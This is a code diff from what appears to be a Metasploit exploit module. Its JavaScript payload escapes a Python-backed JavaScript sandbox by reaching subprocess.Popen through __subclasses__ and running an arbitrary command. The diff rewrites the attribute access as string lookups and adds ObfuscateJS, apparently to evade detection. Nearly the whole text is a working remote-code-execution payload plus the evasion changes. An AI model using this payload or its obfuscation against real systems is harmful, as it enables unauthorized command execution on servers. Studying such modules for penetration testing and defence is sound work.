@@ -115,21 +115,24 @@ def exploit
115115 def javascript_payload ( cmd )
116116 js_vars = Rex ::RandomIdentifier ::Generator . new ( { language : :javascript } )
117117
118- <<~EOS
118+ js = <<~EOS
119119 let #{ js_vars [ :command ] } = "#{ cmd } "
120120 let #{ js_vars [ :hacked ] } , #{ js_vars [ :bymarve ] } , #{ js_vars [ :n11 ] }
121121 let #{ js_vars [ :getattr ] } , #{ js_vars [ :obj ] }
122122
123+ #{ js_vars [ :base ] } = '__base__'
124+ #{ js_vars [ :getattribute ] } = '__getattribute__'
123125 #{ js_vars [ :hacked ] } = Object.getOwnPropertyNames({})
124- #{ js_vars [ :bymarve ] } = #{ js_vars [ :hacked ] } .__getattribute__
126+ #{ js_vars [ :bymarve ] } = #{ js_vars [ :hacked ] } [ #{ js_vars [ :getattribute ] } ]
125127 #{ js_vars [ :n11 ] } = #{ js_vars [ :bymarve ] } ("__getattribute__")
126- #{ js_vars [ :obj ] } = #{ js_vars [ :n11 ] } ("__class__").__base__
127- #{ js_vars [ :getattr ] } = #{ js_vars [ :obj ] } .__getattribute__
128+ #{ js_vars [ :obj ] } = #{ js_vars [ :n11 ] } ("__class__")[#{ js_vars [ :base ] } ]
129+ #{ js_vars [ :getattr ] } = #{ js_vars [ :obj ] } [#{ js_vars [ :getattribute ] } ]
130+ #{ js_vars [ :sub_class ] } = '__subclasses__';
128131
129132 function #{ js_vars [ :findpopen ] } (#{ js_vars [ :o ] } ) {
130133 let #{ js_vars [ :result ] } ;
131- for(let #{ js_vars [ :i ] } in #{ js_vars [ :o ] } .__subclasses__ ()) {
132- let #{ js_vars [ :item ] } = #{ js_vars [ :o ] } .__subclasses__ ()[#{ js_vars [ :i ] } ]
134+ for(let #{ js_vars [ :i ] } in #{ js_vars [ :o ] } [ #{ js_vars [ :sub_class ] } ] ()) {
135+ let #{ js_vars [ :item ] } = #{ js_vars [ :o ] } [ #{ js_vars [ :sub_class ] } ] ()[#{ js_vars [ :i ] } ]
133136 if(#{ js_vars [ :item ] } .__module__ == "subprocess" && #{ js_vars [ :item ] } .__name__ == "Popen") {
134137 return #{ js_vars [ :item ] }
135138 }
@@ -141,6 +144,12 @@ def javascript_payload(cmd)
141144
142145 #{ js_vars [ :n11 ] } = #{ js_vars [ :findpopen ] } (#{ js_vars [ :obj ] } )(#{ js_vars [ :command ] } , -1, null, -1, -1, -1, null, null, true).communicate()
143146 EOS
147+
148+ opts = { "Strings" => true }
149+
150+ js = ::Rex ::Exploitation ::ObfuscateJS . new ( js , opts )
151+ js . obfuscate ( memory_sensitive : true )
152+ js . to_s
144153 end
145154
146155 def execute_command ( cmd , _opts = { } )
0 commit comments